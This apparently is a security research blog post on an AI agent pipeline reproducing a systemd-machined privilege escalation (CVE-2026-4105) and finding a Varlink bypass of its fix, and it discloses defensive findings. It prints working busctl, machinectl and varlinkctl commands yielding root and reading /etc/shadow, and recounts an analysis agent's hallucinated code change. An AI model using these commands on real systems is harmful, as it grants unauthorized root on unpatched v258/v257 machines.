Disclosure: The original vulnerability (CVE-2026-4105 ) was disclosed by the systemd project via GHSA-4h6x-r8vx-3862 . The bypass described in this post was independently identified and fixed by the systemd team on
mainandv259-stableprior to publication. We verified the fix exists upstream before publishing. Older stable branches (v258, v257) remain unpatched. Exploit code is available in the EIP PoC repository .
There’s a particular kind of morning where a CVE lands in your feed and you just stare at it. Not because it’s complicated - because it isn’t. Because it’s simple. Two commands. Root. On systemd. The thing that boots every Linux desktop on earth.
CVE-2026-4105 hit the advisories about an hour ago. We stared at it for maybe thirty seconds. Then we fed it to CVEForge .
Seventy-two minutes later, the pipeline had done more than reproduce it. It had confirmed the exploit across three attack vectors with 100% reliability, built Docker labs for both vulnerable and patched versions of systemd v259, and discovered that the vendor’s fix is incomplete. A missing namespace check in the Varlink code path means systems running the “patched” version are still exploitable for the same root privilege escalation through a different door.
The interesting part wasn’t the original bug. The interesting part was watching one agent confidently declare the fix was thorough - even hallucinating a code change that doesn’t exist in the diff - and then watching a different agent, with fresh eyes and no preconceptions, prove it wrong. Three out of three. Root on the patched system.
The Vulnerability
If you’ve used machinectl to manage containers, you’ve talked to systemd-machined. It’s the daemon that tracks registered virtual machines and containers on a Linux system, exposing both a D-Bus interface (org.freedesktop.machine1) and a Varlink interface (io.systemd.Machine). Quiet, boring, load-bearing infrastructure. The kind of thing you forget is running until it isn’t.
Internally, machined has a MachineClass enum with three values: MACHINE_CONTAINER, MACHINE_VM, and MACHINE_HOST. That last one is special. MACHINE_HOST is the internal pseudo-machine representing the host system itself - created at boot by machined with leader=PID 1 and uid=0. It was never meant to be user-registrable.
But nobody told the registration handler that.
The RegisterMachine D-Bus method accepted class=host without restriction. The io.systemd.Machine.Register Varlink method did too. No whitelist. No check. If machine_class_from_string("host") returned a valid enum value - which it did - the registration went through.
That alone isn’t enough for root. What makes it genuinely beautiful - in the way that only terrible bugs can be beautiful - is three security checks that all defer to the machine’s class:
// machine-dbus.c:376 - namespace check SKIPPED for MACHINE_HOST
if (m->uid != 0 && m->class != MACHINE_HOST) {
r = pidref_in_same_namespace(&PIDREF_MAKE_FROM_PID(1), &m->leader, NAMESPACE_USER);
// ...blocks unprivileged users from shelling into the root namespace...
}
The comment in the source code explains the assumption: the host machine “is owned by uid 0 anyway and cannot be self-registered.” You can almost hear the developer saying it. Obviously nobody would register a host machine. Why would you even check?
CVE-2026-4105 is why you check.
The second check is subtler. When you call machinectl shell root@exploit-machine, the polkit authorization for host-shell should require auth_admin_keep - an admin password. But bus_verify_polkit_async_full() takes a good_user parameter. If the caller’s UID matches good_user, polkit is bypassed entirely. And good_user is set to m->uid - the UID of whoever registered the machine. The attacker registered it, so m->uid equals the attacker’s UID. Match. Authorized. No password prompt. The system essentially authorized the attacker to attack it.
The third: machine_openpt(), machine_bus_new(), and machine_start_shell() all dispatch on the machine’s class. For MACHINE_HOST, they operate directly on the host - allocating PTYs on the host, connecting to the host’s D-Bus, creating transient systemd units on the host’s PID 1 with User=root.
Two commands. Register, shell. Root. We’ve seen a lot of local privesc bugs over the years. This one is hard to top for sheer economy of motion.
# Step 1: Register a machine with class=host (no auth for desktop users)
busctl call org.freedesktop.machine1 /org/freedesktop/machine1 \
org.freedesktop.machine1.Manager RegisterMachine \
'sayssus' exploit-machine 0 "" "host" 0 ""
# Step 2: Root shell
machinectl shell root@exploit-machine /bin/bash
One more piece makes it sing. The polkit policy for register-machine has <allow_active>yes</allow_active>, which means no authentication is required for users in active desktop sessions. No password prompt, no fingerprint, nothing. SSH and terminal-only sessions are not affected - those fall back to auth_admin. But on desktop Linux - Fedora, Ubuntu, Arch with a graphical session - this is unauthenticated local root. You log in, you open a terminal, you’re done.
The fix, committed on March 8th, takes a whitelist approach:
if (c < 0 || !IN_SET(c, MACHINE_CONTAINER, MACHINE_VM))
return sd_bus_error_set(error, SD_BUS_ERROR_INVALID_ARGS,
"Invalid machine class parameter");
Applied to all D-Bus registration methods and the Varlink registration method. Simple. Clean. class=host is rejected. Ship it in v259.4 and v260. Close the ticket, update the advisory, move on.
That should be the end of the story. It usually is.
72 Minutes
We typed one command:
./cveforge start CVE=CVE-2026-4105
Seven agents. Five phases. Then we went and made coffee, because that’s the whole point of building an autonomous pipeline - you shouldn’t have to babysit it. What came out the other end was more than we expected.
Intel and Analysis
The intel agent queried the EIP MCP server
and got the full CVE brief in its first tool call - advisory details, CVSS vector (6.7/Medium), CWE-284, fix commits for both the main branch and stable, the introducing commit from 2015 where .host was first added. It cloned the systemd repository, checked out tag v259, and identified the vulnerable component: src/machine/. Six minutes. No drama. Exactly how it should work.
The analysis agent read the fix diff and traced five vulnerable code paths across machined-dbus.c, machine-varlink.c, and machine-dbus.c. It mapped the three-stage bypass chain - registration, polkit, namespace - and identified the UID-based good_user check as the mechanism that makes the polkit bypass possible. Seven and a half minutes.
It also assessed the fix. We’ll come back to what it said. Oh, will we come back to what it said.
Building systemd in Docker
The lab agent had the hardest job, and it’s not close. systemd is not a web app you npm install. It’s a 2,490-target Meson project with deep kernel dependencies. Building it inside a Docker container, with the built binary replacing the host’s init system inside that same container, while keeping D-Bus, polkit, and machined all functional - that’s not engineering, that’s an endurance sport.
The agent made a smart early call: build from source rather than use distribution packages. The polkit policy for register-machine with allow_active=yes was only introduced in v259. Fedora 41’s v256 packages don’t include it. You can’t demonstrate a polkit bypass if the polkit action doesn’t exist. So, from-source it was.
What followed was 222 turns and 27 minutes of the lab agent arguing with Meson, Ninja, and the entire Fedora build toolchain. Test targets failed to link because -Dtests=false only skips running tests, not building them - a Meson design choice that has probably ruined someone’s afternoon before. The agent figured out ninja -k0 to power through the failures. Git safe directory errors popped up and needed workarounds. The multi-stage Dockerfile - build in one stage, copy artifacts to a runtime stage with Fedora’s v256 infrastructure - took several iterations before the library paths were right. ldconfig after copying. Custom polkit rules to simulate desktop session behavior in a container that has never seen a display server.
We watched this in the workflow log later, scrolling through page after page of the agent methodically trying things, hitting walls, adjusting, trying again. No panic. No shortcuts. Just grinding. If you’ve ever tried to get systemd running as PID 1 inside Docker, you know. If you haven’t - trust us, it’s not fun.
The result was worth it: a running container with systemd v259 as PID 1, systemd-machined active and D-Bus-accessible, polkit enforcing, and testuser (UID 1000) ready to exploit. Both D-Bus and Varlink sockets confirmed operational. The whole thing held together.
Three PoCs, Three for Three
The PoC agent, having inherited a perfectly working lab environment, did what PoC agents do best - it wrote exploits.
poc.py- The full-featured Python version. D-Bus path. Registers withclass=host, opens root shell viamachinectl shell, reads/etc/shadow, writes a proof file to/root/. Color output, error handling, the works.exploit.sh- The one you’d actually use. Seven lines ofbusctlandmachinectl. Designed to run directly on the target. Copy, paste, root.poc_varlink.py- Varlink registration path. Falls back to D-Bus in Docker (Varlink registration returns EOPNOTSUPP in the container environment, though the vulnerability exists in the code).
All three confirmed. 3/3 successful runs. The claim gate approved both privilege_escalation and code_execution. Ten minutes, start to finish.
=== Step 3: Escalating privileges - executing commands as root ===
[*] Running 'id' as root via machinectl shell...
[+] PRIVILEGE ESCALATION SUCCESSFUL!
[+] Command output: uid=0(root) confirmed
uid=0(root) gid=0(root) groups=0(root)
[*] Reading /etc/shadow as root (proves root-level access)...
[+] /etc/shadow read successfully as root:
root:*:20084:0:99999:7:::
[*] Writing proof file to /root/cve-2026-4105-proof.txt...
[+] Proof file created in /root/:
CVE-2026-4105 exploit successful - uid=0(root) gid=0(root) groups=0(root)
At this point, CVEForge had done what it always does: reproduce the vulnerability, verify the fix blocks it, generate the documentation. Forty-five minutes in. For most CVEs, this is where the story ends. A well-behaved CVE knows when to quit.
But the analysis agent had flagged fixCompleteness: partial and bypassRecommended: true in the assessment state. So the pipeline kept going. And that’s where things got interesting.
The Analysis Agent Was Wrong
We need to talk about this part, because it’s the most instructive thing that happened in the entire run.
Before the bypass agent ran, the analysis agent had already assessed the fix. Here is what it wrote, verbatim, in vulnerability_analysis.md:
Fix is thorough and complete
Additionally, the fix adds a namespace check to
vl_method_open()(Varlink shell/login/pty) that was entirely missing in the vulnerable version - providing defense-in-depth even if the registration check were bypassed.Defense-in-depth: The added namespace check in
vl_method_open()prevents exploitation even if the registration check is somehow bypassed.Potential Bypass Vectors: None identified. The fix is thorough.
Read that again. It’s specific. It names the function. It describes what the check does. It explains why it provides defense-in-depth. It sounds like someone who really understood the code.
That claim about a namespace check being added to vl_method_open() is completely, verifiably false. The fix makes no changes to vl_method_open(). It only patches the three registration entry points. The analysis agent hallucinated a code change that doesn’t exist in the diff, then built an entire assessment around that hallucination.
This is the thing about AI hallucinations that keeps us up at night. It’s not the obvious wrong answers - those are easy to catch. It’s the ones that sound exactly like a competent engineer’s analysis. The specificity is what makes it dangerous. A human reading this assessment would nod along and conclude the Varlink path is protected. It isn’t. And they’d have no reason to double-check, because the analysis sounds thorough.
If this were a single-agent system, that hallucination would have shipped as the final assessment. But the bypass agent ran next, with fresh context and no access to the analysis agent’s conclusions. It read the same diff. It reached a very different answer.
The Bypass
The bypass agent started where the analysis agent left off - reading the deliverables, the fix diff, the source code. Same inputs. Same codebase. But instead of summarizing what the fix should do, it traced what the fix actually does. Line by line.
The moment it found the gap is visible in the workflow log:
Now I have the fix diff. Let me study the vulnerable source code more carefully for potential bypass vectors. The fix adds
!IN_SET(c, MACHINE_CONTAINER, MACHINE_VM)at three places… the analysis says the fix is complete.Wait, I’m noticing something interesting… I need to check whether
vl_method_open()has the namespace validation check that the D-Bus implementation has.
It checked. The D-Bus shell handler at machine-dbus.c:376 has a namespace validation check - the one that prevents unprivileged users from opening shells into the root namespace:
/* machine-dbus.c:369-385 */
if (m->uid != 0 && m->class != MACHINE_HOST) {
r = pidref_in_same_namespace(&PIDREF_MAKE_FROM_PID(1), &m->leader, NAMESPACE_USER);
if (r < 0)
return r;
if (r != 0)
return sd_bus_error_set(error, SD_BUS_ERROR_ACCESS_DENIED,
"Only root may shell into the root user namespace");
}
The Varlink shell handler at machine-varlink.c:500 - vl_method_open() - has no such check. It goes straight from the polkit authorization to PTY allocation and shell execution. No namespace validation. No check in the original code. No check added by the fix. Just… a gap. The front door had three deadbolts. The side door was open.
From the log, you can feel the agent’s realization landing:
The Varlink equivalent
vl_method_open()atmachine-varlink.c:500-600has no such check. It proceeds directly from the polkit authorization to PTY allocation and shell execution without validating that the machine’s leader is in a private namespace.
The Attack Chain
Here’s where it gets elegant. The fix blocks class=host. Good. But class=container is still allowed - that’s the whole point of machined. You’re supposed to be able to register containers. The bypass agent realized that class=container is entirely sufficient if you control the leader PID:
- Start a long-running process as the attacker:
sleep 3600 &. This process lives in the host’s user namespace. - Register a machine with
class=container, setting the leader to that process’s PID. The fix allows this. - Use Varlink
io.systemd.Machine.Openinstead of D-Busmachinectl shell.
Why this works:
- Registration:
class=containerpasses the whitelist. The machine’suidis set to the attacker’s UID. The leader points to the attacker’s process in the host namespace. - Polkit bypass:
vl_method_open()passesmachine->uidasgood_user. Attacker’s UID matches. Authorized without polkit. - No namespace check: Unlike the D-Bus path,
vl_method_open()doesn’t callpidref_in_same_namespace(). The leader is in the host namespace, but nothing checks. - Host namespace operations:
machine_openpt()enters the leader’s namespace to allocate a PTY - but the leader is a host process, so the PTY is on the host.machine_bus_new()connects to D-Bus through the leader’s mount namespace - the host’s D-Bus.machine_start_shell()callsStartTransientUniton PID 1 withUser=root.
Root. Same result as the original CVE, different door.
The D-Bus path blocks this because of the namespace check at line 376. The Varlink path doesn’t have it. The fix didn’t add it. Two interfaces to the same backend, with different security checks. It’s the kind of bug that makes you wince, because you can see exactly how it happened - two developers, or two feature branches, or just two moments in time when someone forgot that there were two ways in.
| D-Bus Shell | Varlink Open | |
|---|---|---|
| Namespace check | Yes (machine-dbus.c:376) | Missing |
| class=container + host-ns leader | Blocked | Root |
| Fix addresses this? | N/A (already protected) | No |
Proof
The bypass agent built a patched container (v259 + fix patch), verified the fix was applied, then ran the bypass:
=== Step 1: Verify the fix blocks class=host registration ===
busctl call ... RegisterMachine 'sayssus' verify-fix "host" ...
[+] Fix confirmed: class=host registration REJECTED
Error: Invalid machine class parameter
=== Step 4: Registering machine with class=container (THE BYPASS) ===
busctl call ... RegisterMachine 'sayssus' bypass-proof "container" $LEADER ...
[+] Machine 'bypass-proof' registered with class=container!
=== Step 5: Verify D-Bus shell path is blocked by namespace check ===
machinectl shell root@bypass-proof /usr/bin/id
[+] D-Bus shell BLOCKED as expected (namespace check at machine-dbus.c:376)
=== Step 6: Attempting Varlink shell (THE BYPASS) ===
varlinkctl call ... io.systemd.Machine.Open '{"name":"bypass-proof", "mode":"shell", "user":"root", ...}'
[+] *** BYPASS SUCCESSFUL! ***
The proof file in /root/:
uid=0(root) gid=0(root) groups=0(root)
BYPASS_SUCCESS
Sat Mar 14 02:22:09 UTC 2026
Reliability: 3/3 successful runs on the patched container. The D-Bus path correctly blocked every attempt. The Varlink path gave root every time. On the “fixed” system. Every single time.
Nineteen minutes. That’s how long it took the bypass agent to build a patched container, verify the fix was correctly applied, find the gap, write a new PoC, and prove it works three for three. Nineteen minutes from “let me look at this fix” to “the fix is incomplete, here’s the proof.”
It Gets Worse (and Then Better, and Then Worse Again)
After the pipeline finished, we did some manual digging. It turns out the systemd team independently identified the same missing namespace check. Commit e5a5656b5572 - authored February 28th, eight days before the CVE-2026-4105 fix - adds exactly the check the bypass agent found missing:
if (machine->uid != 0 && machine->class != MACHINE_HOST) {
r = pidref_in_same_namespace(&PIDREF_MAKE_FROM_PID(1),
&machine->leader, NAMESPACE_USER);
if (r < 0)
return log_debug_errno(r, "Failed to check if machine '%s' "
"is running in the root user namespace: %m", machine->name);
if (r > 0)
return sd_varlink_error(link,
SD_VARLINK_ERROR_PERMISSION_DENIED, NULL);
}
That’s the exact gate before machine_openpt() that the bypass exploits the absence of. The systemd developers found it. They fixed it. Good.
But they only backported it to v259-stable. The older stable branches never got it.
| Branch | Class-type fix (CVE-2026-4105) | Varlink namespace fix (bypass) | Status |
|---|---|---|---|
| main / v260 | Yes (v260-rc2+) | Yes (v260-rc2+) | Fixed |
| v259.x | Yes (v259.4+) | Yes (v259.3+) | Fixed |
| v258.x | Yes (v258.7) | No | Vulnerable |
| v257.x | Yes (v257.13) | No | Vulnerable |
So v258.7 and v257.13 - the latest releases on those branches - have the CVE-2026-4105 registration fix applied. They’ll correctly reject class=host. But they’re still missing the Varlink namespace check, which means the bypass works on them. Systems that dutifully patched CVE-2026-4105 on those branches are still exploitable through the exact same Varlink path the bypass agent found.
The real question is what your distribution shipped. If your distro is tracking v259 or main, you’re fine. If it’s tracking v258 or v257 and only backported the class-type registration fix - which is what the CVE-2026-4105 advisory tells you to do - the bypass still works. And since the namespace fix wasn’t tied to the CVE advisory, there’s no reason a distro maintainer would know to cherry-pick it. The patch is sitting right there in the git log. It just isn’t labeled “security fix”, so it might as well be invisible.
The Pipeline Catches Itself
The QA agent ran last. Its job is the unglamorous one: read everything the other agents produced, cross-reference the claims, and look for contradictions. It found one immediately:
The
vulnerability_analysis.mddeliverable contains serious factual errors that directly contradict other documents in the workspace. It claims “Fix is thorough and complete” while the workspace simultaneously documents a confirmed bypass with 100% success rate. It claims the fix adds a namespace check tovl_method_open(), but the actual patch file makes no such change.
QA result: fail. One blocking finding.
This is the part where we’d normally say something modest about how the architecture is still a work in progress and we’re learning as we go. And that’s true. But we’re also going to take a moment to appreciate what just happened. One agent hallucinated a confident, specific, wrong assessment. A second agent independently proved it wrong with empirical evidence. A third agent caught the contradiction in the text.
Three agents, three perspectives on the same code, no shared state between them, and the ground truth won. The analysis agent hallucinated a code change - that’s a known failure mode, and anyone working with LLMs has seen it. What matters is whether the system catches it before the claim reaches a human. In this case, it caught it twice.
The pipeline worked because it was built to disagree with itself. Consensus without adversarial pressure is just groupthink with extra steps. Trust, but verify - especially when AI is involved.
The Numbers (We Know You Like the Numbers)
| Phase | Duration | Cost | Turns |
|---|---|---|---|
| Intel | 6m 19s | $1.30 | 70 |
| Analysis | 7m 33s | $2.23 | 87 |
| Lab Build | 27m 16s | $5.47 | 222 |
| PoC Verify | 10m 19s | $2.78 | 99 |
| Bypass | 19m 13s | $4.26 | 118 |
| Report | - | $0.59 | 106 |
| QA | 1m 30s | $0.20 | 59 |
| Total | 72m 11s | $16.24 | 761 |
The lab build dominates - 38% of the total time, 34% of the cost. Compiling systemd from source in a container is not cheap, but it’s cheaper than paying a human to fight Meson for half an hour. The bypass phase is the second largest cost center at $4.26, which is the price of building a second container, writing a new PoC, and running reliability tests. For a confirmed fix bypass with proof, that feels like a bargain.
The report agent had a rough day - it failed output validation three times. It ran on Haiku and couldn’t meet the formatting requirements, which is the kind of thing that sounds like it should be easy but apparently isn’t if you’re a smaller model trying to generate structured markdown. The confirmed PoC evidence already existed, so the pipeline flagged it for human review and moved on. Not every agent can be a hero.
All agents except report and QA ran on Claude Opus 4.6. Report and QA ran on Haiku 4.5. Total cost: $16.24. Less than lunch. For a confirmed root exploit, a fix bypass, and an unexpected lesson in AI epistemology.
What This Means
systemd-machined ships on every major desktop Linux distribution. Fedora, Ubuntu, Arch, openSUSE - if you’re running a graphical session with systemd, machined is likely installed and socket-activated. The polkit policy that enables unauthenticated registration is the default. This isn’t some obscure component that requires manual setup. It’s just there.
The original vulnerability (CVE-2026-4105) is straightforward and the fix is correct for what it addresses - blocking class=host registration. The systemd team also independently found and fixed the missing Varlink namespace check on main and v259-stable. Credit where it’s due - they identified the same gap our bypass agent did. But the namespace fix was never backported to v258 or v257, and it wasn’t tied to the CVE advisory. Distributions tracking those older stable branches may have patched the class-type registration fix and called it done, not knowing there was a second fix to pick up.
The bypass is a separate vulnerability with a different root cause - missing namespace validation in the Varlink shell handler, not missing class restriction on registration. It affects a different code path (machine-varlink.c:500 vs machine-dbus.c:376), requires a different fix (adding the namespace check to vl_method_open()), and survives the CVE-2026-4105 patch on two active stable branches. Whether it needs its own CVE is between the systemd team and the CNA, but the gap exists.
What CVEForge found in 72 minutes:
- One confirmed vulnerability with three exploit variants and 100% reliability
- One incomplete fix with a working bypass on the patched version
- One hallucination by the analysis agent, caught by the bypass agent and flagged by QA
- A disclosure-ready bypass analysis that identified the exact same code gap the upstream developers had already fixed - independently, on a different timeline
We keep coming back to the same thought. A CVE dropped this morning. We typed one command. An hour and twelve minutes later, we had a confirmed exploit, a bypass of the vendor’s fix, and the beginnings of a disclosure. One of our agents was wrong - confidently, specifically wrong - and the system caught it anyway. Another agent found a gap that turned out to be real, already known upstream, but still unpatched on two stable branches.
That’s not a finished product. We’re still learning what these pipelines can and can’t do, and every run teaches us something new about where the failure modes hide. But seventy-two minutes from advisory to bypass, with the pipeline correcting its own mistakes along the way - that’s something worth talking about.
The CVE dropped this morning. If you’re on v259 or newer, you’re fine. If you’re on v258 or v257, check whether your distribution picked up the namespace fix along with the registration fix. If not, the Varlink path is still open.
The full lab, PoCs, and bypass are on GitHub .
- CVEForge (the pipeline)
- EIP MCP Server (17 tools, real-time vuln intel, free, no API key)
- Shannon (the foundation)
- 72 Hours, 24 CVEs: The CVEForge Stress Test
- GitHub Security Advisory: GHSA-4h6x-r8vx-3862